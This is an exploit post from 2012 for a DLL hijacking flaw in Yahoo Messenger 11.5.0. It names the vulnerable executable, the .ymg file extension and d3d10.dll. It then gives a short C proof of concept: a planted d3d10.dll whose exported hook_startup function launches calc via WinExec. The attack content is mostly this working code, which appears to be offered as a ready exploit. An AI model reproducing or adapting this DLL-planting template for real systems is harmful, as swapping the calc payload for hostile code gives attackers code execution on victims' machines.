Yahoo Messenger 11.5.0 (d3d10.dll) DLL Hijacking Exploit

[co4ie]

Exploit Title: yahoo messenger 11.5.0 (d3d10.dll) DLL Hijacking Exploit

Date: 2012-08-23

Author: coolkaveh

Version: 11.5.0228-us

Tested on: windows XP Sp3 ENG

---------------------------------------------------------

# Vulnerable: yahoomessenger.exe

---------------------------------------------------------

# Vulnerable extensions: .ymg

---------------------------------------------------------

# Vulnerable Dll: d3d10.dll

---------------------------------------------------------

#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void hook_startup() { exp(); }

int exp()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Sursa